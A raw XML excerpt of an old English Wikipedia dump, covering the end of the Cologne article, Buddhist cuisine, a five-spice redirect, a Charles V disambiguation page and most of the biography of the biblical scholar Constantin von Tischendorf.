[http://de.wikipedia.org/wiki/Butzweilerhof Butzweilerhof] soon became an outstanding hub of national and international air traffic, second in Germany only to [[Berlin-Tempelhof]].  By [[1939]] the population had risen to 772.221.

In [[World War II]], Cologne endured exactly [http://www.koelnarchitektur.de/pages/de/home/news_archiv/823.htm 262 air raids] by the Western [[Allies of World War II|Allies]], which caused approximately 20,000 civilian casualties and completely wiped out the centre of the city. During the night of [[May 31]], [[1942]], Cologne was the site of &quot;[[Operation Millennium]]&quot;, the first 1,000 bomber raid by the [[Royal Air Force]] in World War II. 1,046 heavy bombers attacked their target with 1,455 tons of explosive. This raid lasted about 75 minutes, destroyed 600 acres of built-up area, killed 486 civilians and made 59,000 people homeless. By the end of the war, the population of Cologne was reduced by 95%. By that time, essentially all of Cologne's pre-war [[Jewish]] population of 20,000 had been annihilated. Some 11,000 are believed to have been murdered by the [[Nazi]]s. The synagogue, originally built between [[1895]] and [[1899]] by architects [[Wilhelm Schreiterer]] and [[Bernhard Below]], was severely damaged during the pogrom of [[November 9]], [[1938]] ([[Kristallnacht]]) and finally destroyed during Allied air raids between [[1943]] and [[1945]]. It was reconstructed in the [[1950s]]. The Cologne synagogue was the stage of a historic event in [[2005]], when the German-born pope [[Benedict XVI]] was the second pope ever to visit a synagogue.

=== Postwar Cologne ===

[[Image:Koln-Chorweiler.JPG|thumb|200px|Typical modern times neighborhood on the North Edge of Cologne]]

Despite Cologne being the largest city in the region nearby [[Düsseldorf]] was chosen as the political capital of the newly set-up [[States of Germany|Federal State]]. With [[Bonn]] being chosen as the (provisional) capital of the Federal Republic, Cologne took benefit being sandwiched between the two important political centers of former [[West Germany]]. The city became home to a large number of Federal agencies and organizations. After reunification in [[1990]] a new situation has been politically co-ordinated with the new federal capital city of [[Berlin]]. 

For Cologne majors refer to: [[List of mayors of Cologne]].

In [[1945]] architect and urban planner [[Rudolf Schwarz]] called Cologne the &quot;world's greatest heap of debris&quot;. Schwarz designed the masterplan of reconstruction in [[1947]], which called for the construction of several new thoroughfares through the downtown area, especially the 'Nord-Süd-Fahrt' (North-South-Drive). The Masterplan took into consideration the fact that even shortly after the war a large increase in automobile traffic could be anticipated. Plans for new roads had already to a certain degree evolved under the Nazi administration, but the actual construction became easier in times when the majority of downtown lots were undeveloped. The destruction of famous [http://www.romanische-kirchen-koeln.de/ romanesque churches] like St. Gereon, Great St. Martin, St. Maria im Capitol and about a dozen others meant a tremendous loss of cultural substance to the city. The rebuilding of other medieval churches and landmarks like the [[Gürzenich]] was not undisputed among leading architects and art historians at that time, but in most cases, civil intention prevailed. The reconstruction lasted until the [[1990s]], when Romanesque church of St. Kunibert was finished. 

It took some time to rebuild the city. In [[1959]] the city´s population reached pre-war numbers again. Afterwards the city grew steadily, and, in [[1975]], the number exceeded 1 million inhabitants for about one year. Since then, the number lingers slightly underneath. 

In the [[1980s]] and [[1990s]] Cologne's economy prospered from two factors: First, the steady growth in the number of media companies, pertaining to both the private and the public sector. Catering especially to these companies is the newly developed Media Park, which creates a strongly visual focal point in downtown Cologne and includes the ''KölnTurm'', one of Cologne´s most prominent highrises. And second, a permanent improvement of the diverse traffic infrastructure, which makes Cologne one of the most easily accessible metropolitan areas in Central Europe.

Due to the economic success of the [[Cologne Trade Fair]], the city arranged a large extension to the fair site in [[2005]]. At the same time the original buildings, which date back to the [[1920s]] are rented out to [[RTL]], Germany´s largest private broadcaster, as their new corporate headquarter. 

Cologne is incorporated under the rule of the Gemeindeordnung Nordrhein-Westfalen (GO NRW) (Municipality Code of [[North Rhine-Westphalia]]). Cologne is the only city in Germany with an explicit tax on [[prostitution]] which explains the city's relative open-mindedness towards sex businesses. See the article on [[prostitution in Germany]] for details.

== Economy ==

Cologne plays a paramount role in Germany's television industry. It is home to Westdeutscher Rundfunk ([[Westdeutscher Rundfunk|WDR]]) - the biggest branch of [[Alliance of the Public Broadcasters of Germany|ARD]], the syndicate of German public broadcasters. Cologne is also home to the private broadcaster [[RTL Television|RTL]], as well as a large number of smaller media, television and film production companies.

Cologne has an [[Cologne Bonn Airport|International Airport]] which is shared with the neighbouring city of [[Bonn]].

20% of Cologne's population is non-German. 40% of those (or 8% of the total population) are Turkish. Cologne has a well-respected [[homosexual|gay community]] and has long been known for its easy-going and tolerant attitudes. The city is a stronghold of Germany's gay movement and harbours the headquarters of Germany's largest homosexual lobby group. 

Cologne is well known for its beer, called [[Kölsch (beer)|Kölsch]]. Kölsch is also the name of the local dialect. This has led to the common joke that Kölsch is the only language you can drink.

One of Colognes largest companies is the European headquarter of the [[Ford Motor Company]] with large administrative, technical and production departments.

Cologne is also famous for the [[Eau de Cologne]]. At the beginning of the 18th century, Italian expatriate [[Johann Maria Farina]] (1685-1766) created a new fragrance and named it after his hometown Cologne, Eau de Cologne (''Water from Cologne''). In the course of the [[18th century]] the fragrance became increasingly popular. Eventually, Cologne merchant Wilhelm Mülhens secured the name Farina, which at that time had become a household name for Eau de Cologne, under contract and opened a small factory at Cologne's Glockengasse. In later years, and under pressure from court battles, his grandson [[Ferdinand Mülhens]] chose a new name for the firm and their product. It was the house number that was given to the factory at Glockengasse during French occupation of the [[Rhineland]] in the early 19th century, number [[4711]]. In [[1994]], the Mülhens family sold their company to German Wella corporation. Today, original Eau de Cologne (German: ''Kölnisch Wasser'') still is produced in Cologne by both the Farina family (Farina gegenüber since 1709), currently in the eighth generation, and by [[Procter &amp; Gamble]] who took over Wella in [[2003]]. 

==Sister cities==
{|
| valign=&quot;top&quot; |
* {{flagicon|United Kingdom}} - [[Liverpool]] ([[England]]), since 1952
* {{flagicon|France}} - [[Lille]] ([[France]]), since 1958
* {{flagicon|Belgium}} - [[Liège (city)|Liège]] ([[Belgium]]), since 1958
* {{flagicon|Netherlands}} - [[Rotterdam]] ([[Netherlands]]), since 1958
* {{flagicon|Italy}} - [[Turin]] ([[Italy]]), since 1958
* {{flagicon|Japan}} - [[Kyoto]] ([[Japan]]), since 1963
* {{flagicon|Tunisia}} - [[Tunis]] ([[Tunisia]]), since 1964
* {{flagicon|Finland}} - [[Turku]] ([[Finland]]), since 1967
* {{flagicon|Germany}} - [[Neukölln]] ([[Berlin]]), since 1967
* {{flagicon|Israel}} - [[Tel Aviv-Jaffa]] ([[Israel]]), since 1979
| valign=&quot;top&quot; |
* {{flagicon|Spain}} - [[Barcelona]] ([[Spain]]), since 1984
* {{flagicon|People's Republic of China}} - [[Beijing]] ([[People’s Republic of China]]), since 1987
* {{flagicon|Greece}} - [[Thessaloniki]] ([[Greece]]), since 1988
* {{flagicon|Republic of Ireland}} - [[Cork]] ([[Republic of Ireland|Ireland]]), since 1988
* {{flagicon|Nicaragua}} - [[Corinto]] / [[El Realejo]] ([[Nicaragua]]), since 1988
* {{flagicon|USA}} - [[Indianapolis]] ([[USA]]), since 1988
* {{flagicon|Russia}} - [[Volgograd]] ([[Russia]]), since 1988
* {{flagicon|Germany}} - [[Treptow-Köpenick]] ([[Berlin]]), since 1990
* {{flagicon|Poland}} - [[Katowice]] ([[Poland]]), since 1991
* {{flagicon|Palestine}} - [[Bethlehem]] ([[West Bank|West Bank, Israel]]), since 1996
* {{flagicon|Turkey}} - [[İstanbul]] ([[Turkey]]), since 1997
|}


==Landmarks==
The centre of Cologne was completely destroyed during World War II. The reconstruction of the city, while respecting the old layout and naming of the streets, followed the style of the 1950s. Thus, the city today is characterised by simple and modest post-war buildings, with few interspersed pre-war buildings which were reconstructed due to their historical importance. Some buildings of the &quot;Wiederaufbauzeit&quot; (era of reconstruction) as e.g. the opera house by [[Wilhelm Riphahn]] are nowadays regarded as classics in modern architecture. Nevertheless, the uncompromising modern style of the opera house and other modern buildings is disputed until today.

* [[Cologne Cathedral]] (German: ''Kölner Dom'') is the city's famous landmark and unofficial symbol. It is a [[gothic architecture|Gothic]] [[church]], started in [[1248]], and completed in [[1880]]. In [[1996]], it was designated a [[World Heritage site]]; it claims to house the [[Relic|relics]] of the [[Biblical Magi|Three Magi]]. It is interesting to note, that the residents of Cologne call the cathedral &quot;the eternal construction site&quot;. They predict that by the time the renovation of the building has finished the end of the world will be upon us!  
* Twelve [http://www.romanische-kirchen-koeln.de/ Romanesque Churches]: These buildings are outstanding examples of medieval sacral architecture. The roots of some of the churches date back even to Roman times, like St. Gereon, which originally was a chapel on a Roman graveyard. With the exception of St. Maria Lyskirchen all of these churches had been very badly damaged  during World War II. Reconstruction was only finished in the 1990s.
* [[University of Cologne|Cologne University]], with approx. 44,000 students as of 2005, is one of the largest universities in Germany. 
* Fragrance-Museum Farina House, the birthplace of [[Eau de Cologne]].
* [[Römisch-Germanisches Museum]] (English: Roman-Germanic Museum)
* [[Wallraf-Richartz Museum]]
* [[Museum Ludwig]]
* [[Kölner Philharmonie]] - the Cologne Philharmonic Orchestra (also known as Gürzenich Orchestra) and the Cologne Philharmonic Orchestra Building
* [[RheinEnergieStadion]], the major Cologne stadium, primarily used for [[soccer|football]] games, seating 50,997 visitors in national games and 46,134 in international games, home to the local [[Bundesliga (football)|Bundesliga]] team, [[1.FC Köln]], and to the local [[NFL Europe]] team, the [[Cologne Centurions]].
* Kölnarena, a multifunctional event hall, home to the local [[ice hockey]] team, the [[Kölner Haie]] (English: Cologne Sharks).
* [[Kölnturm]] (English: Cologne Tower), with 150 metres in height Cologne's second tallest building, second only to the cathedral.
* [[Colonius]] - a telecommunication tower with an observation deck.
* [[Colonia-Hochhaus]] - Germany's tallest residential building.
* [[Hansa-Hochhaus]] - designed by architect Jakob Koerfer and completed in 1925, it was Europe's tallest office building.
* [[Rheinseilbahn]] - an aerial tramway crossing the [[Rhine]].
* [[Fair Tower Cologne|Messeturm Köln]] (English: Exhibition Tower Cologne). 
* ''Hohe Strasse'' (English: High Street) is one of the main shopping areas and extends past the cathedral in an approximately southern direction. This street is particularly popular with tourists and contains many gift shops, clothing stores, (fast food) restaurants and electronic goods dealers. 
* [[Ford Motor Company]] plants, assembling the [[Ford Fiesta]] and [[Ford Fusion (European)|Ford Fusion]] as well as manufacturing engines and parts.
* ''Schildergasse'' - extends the shopping area of ''Hohe Strasse'' to the West ending at ''Neumarkt''.
* ''Ehrenstrasse'' - the shopping area around Apostelnstrasse, Ehrenstrasse, and Rudolfplatz is a little more on the eccentric and stylish side.
* Historic ''Ringe'' boulevards (such as Hohenzollernring, Kaiser-Wilhelm-Ring, Hansaring) with their medieval city gates (such as Hahnentorburg on Rudolfplatz) are also known for their night life.
* German Sports &amp; Olympic Museum, with expositions about sports from antiquity until present.
* [[Schokoladenmuseum]] (Chocolatemuseum) officially called Imhoff-Stollwerck-Museum.
&lt;BR&gt;

[[Image:Panorama cologne 20050114.jpg|750px|center]]



==Famous Cologners==
Famous people whose roots can be found in Cologne:
* [[Konrad Adenauer|Adenauer, Konrad]] ([[January 5]], [[1876]] - [[April 19]], [[1967]]), politician, Mayor of Cologne from [[1917]] to [[1933]] and [[German Chancellor]] between [[1949]] and [[1963]]
* [[Heinrich Böll|Böll, Heinrich]] ([[December 21]], [[1917]] - [[July 16]], [[1985]]), writer and winner of the [[Nobel prize for literature]] in [[1972]]
* [[Alex Calatrava|Calatrava, Alex]] ([[June 14]], [[1973]]), Spanish professional tennis player
* [[Udo Kier|Kier, Udo]] (born [[October 14]], [[1944]]), actor
* [[Heiner Lauterbach|Lauterbach, Heiner]] (born [[April 10]], [[1953]]), actor
* [[Willy Millowitsch|Millowitsch, Willy]] ([[January 8]], [[1909]] - [[September 20]], [[1999]]), actor and playwright 
* [[Ottmar Liebert|Liebert, Ottmar]] (born [[February 1]], [[1961]]), musician
* [[Jacques Offenbach|Offenbach, Jacques]] ([[June 20]], [[1819]] - [[October 5]], [[1880]]), composer
* [[Joost van den Vondel|Vondel, Joost van den]] ([[November 17]], [[1587]] - [[February 5]], [[1679]]), poet and playwright

==External links==
{{Commons|Cologne}}

===Official information===
* [http://www.koeln.de Cologne], official Cologne portal
* [http://www.stadt-koeln.de City of Cologne], official City of Cologne information portal for inhabitants
* [http://www.domforum.de/ Domforum], Cologne Cathedral's official website
* [http://www.uni-koeln.de/ University of Cologne]
* [http://www.kirchenkoeln.de/ Churches of Cologne]
* [http://www.museenkoeln.de/ Cologne Museums]
* [http://www.koelnmusik.de/ Cologne Philharmonics]
* [http://www.zoo-koeln.de/ Cologne Zoo]

===Tourism and travel===
* [http://www.koeln.de/tourismus/koelntourismus/ Cologne Tourist Board]
* [http://www.koelnverkehr.de/ Cologne Traffic Information]
* [http://www.airport-cgn.de/ Cologne Airport]
* [http://www.kvb-koeln.de/ KVB] - Cologne Public Transportation
* [http://de.wikipedia.org/wiki/K%C3%B6ln/Bildergalerie Photo Gallery]
* [http://www.Farina-Haus.de/ Eau de Cologne Museum]
* [http://www.wjt2005.de/index.php 20th World Youth Day 2005]
* [http://www.stadtplan.net/LRF403372 Cologne City Map] at [http://www.stadtplan.net/ stadtplan.net] 
* [http://www.vinc3nt.com/cologne 250 pictures with guide of Cologne's places of interest]
* [http://www.panorama-cities.net/cologne/cologne.html Cologne City Panoramas] - Panoramic Views and Virtual Tours
* {{wikitravel}}

===Culture and history===
* [http://www.koelsch-akademie.de/ Academy for the Language of Cologne]
* [http://www.rote-funken.de Rote Funken] 
* [http://www.ag-festung-koeln.de/ The Prussian fortress Cologne]
* [http://wikoelsch.dergruenepunk.de/index.php/Köln Cologne in the Kölsch Wiki Projekt (Ripuarian)]

----
{{Germany districts north rhine-westphalia}}
----

[[Category:Cities in North Rhine-Westphalia]]
[[Category:Cities on the Rhine]]
[[Category:Cologne|*]]
[[Category:Hanseatic League]]
[[Category:Roman legions camps]]

&lt;!-- interlanguage links - do not remove --&gt;

[[af:Keulen]]
[[als:Köln]]
[[ar:كولونيا]]
[[bg:Кьолн]]
[[ca:Colònia (Alemanya)]]
[[cs:Kolín nad Rýnem]]
[[da:Köln]]
[[de:Köln]]
[[et:Köln]]
[[es:Colonia (Renania del Norte-Westfalia)]]
[[eo:Kolonjo]]
[[fa:کلن]]
[[fr:Cologne]]
[[ko:쾰른]]
[[id:Köln]]
[[it:Colonia (Germania)]]
[[he:קלן]]
[[ku:Köln]]
[[la:Colonia Agrippina]]
[[lb:Köln]]
[[lv:Ķelne]]
[[li:Kölle]]
[[lb:Köln]]
[[nl:Keulen]]
[[ja:ケルン]]
[[no:Köln]]
[[pl:Kolonia (miasto)]]
[[pt:Colônia (Alemanha)]]
[[ro:Köln]]
[[ru:Кёльн]]
[[scn:Culonia]]
[[simple:Cologne]]
[[sk:Kolín nad Rýnom]]
[[fi:Köln]]
[[sv:Köln]]
[[tl:Cologne]]
[[tr:Köln]]
[[zh:科隆]]</text>
    </revision>
  </page>
  <page>
    <title>Buddhist cuisine</title>
    <id>6188</id>
    <revision>
      <id>39921071</id>
      <timestamp>2006-02-16T21:05:52Z</timestamp>
      <contributor>
        <ip>24.71.223.140</ip>
      </contributor>
      <comment>/* Common sources for Buddhist foods */</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

&lt;div style=&quot;float: right; padding-left: 1em;&quot;&gt;
{| style=&quot;border:1px solid black&quot;
!style=&quot;background: #0011B0; border-bottom:1px solid= #FFD0FB&quot; colspan=2|&lt;font color=&quot;white&quot;&gt; &quot;Buddhist cuisine&quot;&lt;/font&gt;
|-
|'''In [[Chinese language|Chinese]]''' 
|- 
|  &lt;small&gt;[[Traditional Chinese character|Traditional form]]:&lt;/small&gt; ||  齋菜
|-
|  &lt;small&gt;[[Simplified Chinese character|Simplified form]]:&lt;/small&gt;|| 斋菜
|-
| &lt;small&gt; [[Pinyin|Romanization]]:  &lt;/small&gt; || ''zh&amp;#257;i cài''
|-
|  　
|-
|'''In [[Japanese language|Japanese]]'''
|-
|  &lt;small&gt;In [[Kanji|Kanji]]:&lt;/small&gt; || 精進料理 
|-
|  &lt;small&gt;In [[Kana|Kana]]: &lt;/small&gt;|| しょうじんりょうり
|-
| &lt;small&gt;[[Romaji|Romanization]]: &lt;/small&gt; ||''shōjin ryōri''
|}
&lt;/div&gt;
'''Buddhist cuisine''' is a kind of [[cuisine]] mainly for the believers of [[Buddhism]]. It is known as ''zh&amp;#257;i cài'' (''zh&amp;#257;i'' means &quot;purification&quot; or &quot;discipline&quot;, ''cai'' means &quot;cuisine&quot; or &quot;vegetable&quot;) in [[China]], and ''shōjin ryōri'' (''shōjin'' means &quot;devotion&quot;, ''ryōri'' means &quot;cuisine&quot; ) in [[Japan]], and by many other names in other countries.

== Three types of restrictions ==
[[Reincarnation]] is one basic tenet of [[Buddhism]], and this includes rebirth of humans as other animals, and vice-versa.  As a result, many Buddhists do not kill animals and many also do not eat [[meat]].  Other common reasons cited are that killing animals and/or eating their meat are a violation of the [[Buddhism|Five Precepts]], bad for one's own [[karma]], and because of a compassion for other animals.  Many vegetarian Buddhists are not [[vegan]], but for those who are vegan, such beliefs are often due to objections about the circumstances in which the animals producing products such as [[milk]] and [[egg (food)|egg]]s are raised.

Some [[Mahayana]] Buddhists in [[China]] and [[Vietnam]] also avoid eating strong-smelling plants such as [[onion]], [[garlic]], [[chives]], [[shallot]], and [[leek (vegetable)|leek]], and refer to these as ''wu hun'' (&amp;#20116;&amp;#33911;, 'Five Spices').  One theory behind this Buddhist dietary restriction is that these vegetables have strong flavours which are supposed to excite the senses and, thus, represent a burden to Buddhists seeking to control their desires. Another theory is that these are all root crops, and harvesting them requires killing organisms in the soil. The latter explanation is accepted in the [[Jain]] religion that sprung up in India at the same time as Buddhism, and quite possibly influenced its practices. It is unclear, historically, what the original reason was for this restriction.

Alcohol and/or other drugs are also avoided by many Buddhists.

=== Only for some Buddhists ===

There are no universally agreed-upon rules for permitted and not-permitted foods in Buddhism.  In some regions, it is common for monks to eat no meat and drink no alcohol, but for the laity to, or for the laity to abstain only when they visit a monastery.  In some regions, even some Buddhist [[monk]]s will eat meat or drink alcohol.  In other regions, it is also common for Buddhists to believe that [[vegetarianism]] is better for their karma than eating meat, but to eat meat anyway and consider it something of a bad habit; and, in some areas, such as [[Japan]], avoidance of ''wu hun'' foods is not a large part of Buddhism.  Many Buddhist traditions state the [[Buddha]] himself taught that meat offered as charity to monks and nuns should not be refused, unless the killing was done specifically for the monks and nuns.  However, other traditions state this to be inaccurate, and that the Buddha was strictly vegetarian.

While many debate Buddhist teachings, it is widely believed that the Buddha's final words were, &quot;Be a light unto thyself,&quot; which might imply that he wanted each individual to choose their own path to [[Bodhi|Enlightenment]]; however, many Buddhists would ask what the sense of calling oneself a Buddhist is, if one is not trying to discern and follow the Buddha's teachings on foods and all other issues.  Conflicting aspects of Gautama Buddha's teachings -- compassion, The Five Precepts, and karma, versus the humility to accept meat and other things offered as charity -- are not likely to be easily resolved, given the vagueness of written history.

[[Image:chinese-buddhist-cuisine-taiwan-1.jpg|thumb|right|Vegetarian restaurant buffet, Taipei, Taiwan. July 2003]]

== Common sources for Buddhist foods ==

Buddhist vegetarian chefs have become extremely creative in imitating meat using prepared [[wheat gluten (food)|wheat gluten]], also known as &quot;seitan&quot; or &quot;wheat meat&quot;, [[soy]] (such as [[tofu]] or [[tempeh]]), [[agar]], and other [[plant]] products.  Some of their recipes are the oldest and most-refined [[meat analogue]]s in the world.  [[Soy]] and [[wheat gluten (food)|wheat gluten]] are very versatile materials, because they can be manufactured into various shapes and textures, and they absorb flavourings (including, but not limited to, meat-like flavourings), whilst having very little flavour of their own.  With the proper [[seasoning]]s, they can mimic various kinds of meat quite closely.

Some of these Buddhist vegetarian chefs are in the many [[monastery|monasteries]] which serve ''wu hun'' and mock-meat (a.k.a. '[[meat analogue]]s') dishes to the monks and visitors (including non-Buddhists who often stay for a few hours or days, to Buddhists who are not monks, but staying overnight for anywhere up to weeks or months).  Many Buddhist restaurants also serve vegetarian, vegan, non-alcoholic, and/or ''wu hun'' dishes.  Some Buddhists eat vegetarian only once per week or month, or on special occasions such as annual visits to an ancestor's grave.  To cater to this type of customer, as well as full-time vegetarians, the menu of a Buddhist vegetarian restaurant usually shows no difference from a typical Chinese or far-Eastern restaurant, except that in recipes originally made to contain meat, a chicken flavoured soy or wheat gluten might be served instead (e.g. &quot;General Tsao's chicken&quot; made with flavoured wheat gluten).

== See also ==
* [[Buddha's delight]]
* [[Buddhism in China]]
* [[Meat analogue]]
* [[Chinese cuisine]]
* [[Tofu]]
* [[Wheat gluten (food)]]
* [[Vegetarianism]]
* [[Cooking]]
* [[Cuisine]]

== External links ==

* [http://web-japan.org/nipponia/nipponia2/pdf/p14.pdf Culinary Fundamentals: Shojin Ryori]
* [http://www.kikkoman.com/forum/007/ff007.html Shojin Ryori: Vegetarian Cooking]
* [http://www.headcity.com/uptown/bigmouth/hungry/chinese/middle.html Return To The Middle Kingdom: Chinese Vegetarian Eating in East Asia]

[[Category:Buddhism]]
[[Category:Chinese Buddhism]]
[[Category:Chinese cuisine]]
[[Category:Diets]]

[[ja:精進料理]]</text>
    </revision>
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  <page>
    <title>Chinese five spice</title>
    <id>6190</id>
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      <id>15904349</id>
      <timestamp>2004-11-16T14:19:08Z</timestamp>
      <contributor>
        <username>Chameleon</username>
        <id>50881</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Five-spice powder]]</text>
    </revision>
  </page>
  <page>
    <title>Charles V</title>
    <id>6191</id>
    <revision>
      <id>33630858</id>
      <timestamp>2006-01-02T20:13:54Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>add pretender &quot;Charles V&quot; of Spain</comment>
      <text xml:space="preserve">'''Charles V''' may refer to:

* [[Charles V of France]], &quot;the Wise&quot; (1338–1380).
* [[Charles V, Holy Roman Emperor]] (1500–1558).
* [[Charles V, Duke of Lorraine]] (1643–1690)
* [[Charles II of Spain|Charles V of Naples]] and II of Spain (1661–1700).
* [[Infante Carlos of Spain]] (1788–1855), pretender to the throne of Spain, styled &quot;Charles V&quot; by [[Carlism|Carlists]].

{{disambig}}

[[cs:Karel V. (rozcestník)]]
[[de:Liste der Herrscher namens Karl#Karl IV. bis Karl V.]]
[[eo:Karolo la 5-a]]
[[fr:Charles V]]
[[it:Carlo V]]
[[ja:カール5世]]
[[pl:Karol V]]
[[pt:Carlos V]]
[[zh:查理五世]]</text>
    </revision>
  </page>
  <page>
    <title>Constantin von Tischendorf</title>
    <id>6193</id>
    <revision>
      <id>41467859</id>
      <timestamp>2006-02-27T15:26:26Z</timestamp>
      <contributor>
        <username>Jcbarr</username>
        <id>482173</id>
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      <minor />
      <comment>disambig link cleanup</comment>
      <text xml:space="preserve">'''Lobegott Friedrich Constantin (von) Tischendorf''' ([[January 18]], [[1815]] at [[Langenfeld]], [[Saxony]] near [[Plauen]] &amp;ndash; [[December 7]], [[1874]] in [[Leipzig]]) was a noted [[Germany|German]] [[Biblical]] scholar, the son of a physician. He recovered the ''[[Codex Sinaiticus]]'', a 4th century [[Greek language|Greek]] [[manuscript]] of the [[New Testament]], in 1859. 

Beginning in 1834, von Tischendorf spent his scholarly career at the [[University of Leipzig]] where he was mainly influenced by [[Georg Benedikt Winer|JGB Winer]], and he began to take special interest in [[New Testament]] criticism. In 1838 he took the degree of [[doctor of philosophy]], then became master at a school near [[Leipzig]].

After a journey through southern Germany and [[Switzerland]], and a visit to [[Strassburg]], he returned to Leipzig, and set to work upon a critical study of the New Testament text. In 1840 he qualified as university lecturer in [[theology]] with a dissertation on the [[recension]]s of the New Testament text -- the main part of which reappeared the following year in the ''[[prolegomena]]'' to his first edition of the Greek New Testament. His critical apparatus included variant readings from earlier scholars -- [[Elsevier]], Knapp, Scholz, and as recent as [[Karl Lachmann|Lachmann]] -- whereby his researches were emboldened to depart from the received text as used in churches. 

These early textual studies convinced him of the absolute necessity of new and more exact [[collation]]s of manuscripts. From October 1840 until January 1843 he was in [[Paris]], busy with the treasures of the [[Bibliothèque Nationale]], eking out his scanty means by making collations for other scholars, and producing for the publisher, [[Firmin Didot]], several editions of the Greek New Testament -- one of them exhibiting the form of the text corresponding most closely to the [[Vulgate]]. His second edition retracted the more precarious readings of the first, and included a statement of critical principles that is a landmark for evolving critical studies of Biblical texts. [http://www.bible-researcher.com/bib-t.html]

From Paris, he had paid short visits to the [[Netherlands]] (1841) and [[England]] (1842). In 1843 he visited [[Italy]], and after a stay of thirteen months, went on to [[Egypt]], [[Sinai]], and the [[Levant]], returning by [[Vienna]] and [[Munich]]. In 1844, he paid his first visit to the convent of [[Saint Catherine's Monastery, Mount Sinai|Saint Catherine's Monastery]], on [[Mount Sinai]] where he found, in a trash pile, 44 pages of what was the then oldest known copy of the [[Septuagint]]. The deposited them at the [[University of Leipzig]], under the title of the [[Codex Frederico-Augustanus]], a name given in honour of his patron, [[Frederick Augustus II of Saxony|king of Saxony]]. The fragments were published in 1846 although he kept the place of discovery a secret.

A great triumph of these laborious months was the decipherment of the [[palimpsest]] ''[[Codex Ephraemi Rescriptus|Codex Ephraemi Syri Rescriptus]]'', of which the New Testament part was printed before he left Paris, and the [[Old Testament]] in 1845. His success in dealing with a manuscript that, having been rewritten with other works of [[Ephrem the Syrian]], had been mostly illegible to earlier collators, made him more well known, and gained support for more extended critical expeditions. He now became ''professor extraordinarius'' at Leipzig, and married (1845). He also began to publish an account of his travels in the East (2 vols., 1845-1846). 

In the winter of 1849 appeared the great work now titled ''Novum Testamentum Graece. Ad antiquos testes recensuit, Apparatum Criticum multis modis wiktionary:canon|canon]]s of criticism, adding examples of their application that are applicable to students today:  

:Basic rule: &quot;The text is only to be sought from ancient evidence, and especially from Greek manuscripts, but without neglecting the testimonies of versions and [[Fathers of the Church|fathers]].&quot;
#&quot;A reading altogether peculiar to one or another ancient document is suspicious; as also is any, even if supported by a class of documents, which seems to evince that it has originated in the revision of a learned man.&quot;
#&quot;Readings, however well supported by evidence, are to be rejected, when it is manifest (or very probable) that they have proceeded from the errors of copyists.&quot;
#&quot;In parallel passages, whether of the New or Old Testament, especially in the [[Synoptic Gospels]], which ancient copyists continually brought into increased accordance, those testimonies are preferable, in which precise accordance of such parallel passages is not found; unless, indeed, there are important reasons to the contrary.&quot;
#&quot;In discrepant readings, that should be preferred which may have given occasion to the rest, or which appears to comprise the elements of the others.&quot;
#&quot;Those readings must be maintained which accord with [[Koine Greek|New Testament Greek]], or with the particular style of each individual writer.&quot;[http://www.bible-researcher.com/bib-t.html]   

These were partly the result of the tireless travels he had begun in 1839 in search of unread manuscripts of the New Testament, &quot;to clear up in this way,&quot; he wrote, &quot;the history of the sacred text, and to recover if possible the genuine [[apostolic]] text which is the foundation of our faith.&quot;  

In 1850 appeared his edition of the ''[[Codex Amiatinus]]'' and of the [[Septuagint]] version of the Old Testament (7th ed., 1887); in 1852, amongst other works, his edition of the ''[[Codex Claromontanus]]''. In 1853 and 1859 he made a second and a third voyage to the East. On the last of these, with the active aid of the [[Russia|Russian]] government, he at length got access to the remainder of the precious Sinaitic codex, and persuaded the monks to present it to the ''[[Alexander II of Russia|tsar]]'', at whose cost it was published in 1862 (in four folio volumes). In 1869 the ''tsar'' awarded him the style of &quot;von&quot; Tischendorf as a Russian noble.

In 1853, he made a second trip to the Syrian monastery but made no new discoveries. He returned a third time in January, 1859 under the patronage of Czar [[Alexander II of Russia]] to find more of the Codex Frederico-Augustanus or similar ancient Biblical texts. On [[February 4]], the last day of his visit, he was shown a text which he recognized as significant-- the ''[[Codex Sinaiticus]]'' -- a Greek manuscript of the complete New Testament and parts of the Old Testament dating to the [[4th century]]. 

Meanwhile, also in 1859, he had been made ''professor ordinarius'' of theology and of Biblical [[paleography]], this latter professorship being specially created for him; and another book of travel, ''Aus dem heiligen Lande'', appeared in 1862. Tischendorf's Eastern journeys were rich enough in other discoveries to merit the highest praise.

Tischendorf exemplified the [[buccaneer]] image of [[19th century]] [[archaeology]] in his pursuit of unknown manuscripts to compare with known manuscripts to create his ''magnum opus'': the &quot;Critical Edition of the New Testament.&quot;  

The great edition, of which the text and apparatus appeared in 1869 and 1872, was called by himself ''editio viii.''; but this number is raised to twenty or twenty-one, if mere reprints from [[stereotype]] plates and the minor editions of his great critical texts are included; posthumous prints bring the total to forty-one. Four main recensions of Tischendorf's text may be distinguished, dating respectively from his editions of 1841, 1849, 1859 (ed. vii.), and 1869-1872 (ed. viii.). The edition of 1849 may be regarded as historically the most important, from the mass of new critical material it used; that of 1859 is distinguished from Tischendorf's other editions by coming nearer to the received text; in the eighth edition, the testimony of the Sinaitic manuscript received great (probably too great) weight. The readings of the [[Vatican]] manuscript were given with more exactness and certainty than had been possible in the earlier editions, and the editor had also the advantage of using the published labours of [[Samuel Prideaux Tregelles|SP Tregelles]].

Of relatively lesser importance was Tischendorf's work on the Greek Old Testament. His edition of the Roman text, with the variants of the Alexandrian manuscript, the ''Codex Ephraemi'', and the ''Friderico-Augustanus'', was of service when it appeared in 1850, but, being stereotyped, was not greatly improved in subsequent issues. Its imperfections -- even within the limited field it covers -- may be judged by the aid of [[CE Nestle]]'s appendix to the 6th issue (1880). Besides this may be mentioned editions of the New Testament [[apocrypha]], ''De Evangeliorum apocryphorum origine et usu'' (1851); ''Acta Apostolorum apocrypha'' (1851); ''Evangelia apocrypha'' (1853; 2nd ed., 1876); ''Apocalypses apocryphae'' (1866), and various minor writings, partly of an apologetic character, such as ''Wann wurden unsere Evangelien verfasst?'' (1865; 4th ed., 1866), ''Haben wir den echten Schrifttext der Evangelisten und Apostel?'' (1873), and ''Synopsis evangelica'' (7th ed., 1898).

By those ignorant of the details of his discovery of ''Codex Sinaiticus'', Tischendorf was accused of buying manuscripts from ignorant [[monastery]] librarians at low prices. Indeed he was never rich, but he staunchly defended the rights of the monks at St. Catherine's Monastery when he persuaded them eventually to send the manuscript to the ''tsar''.

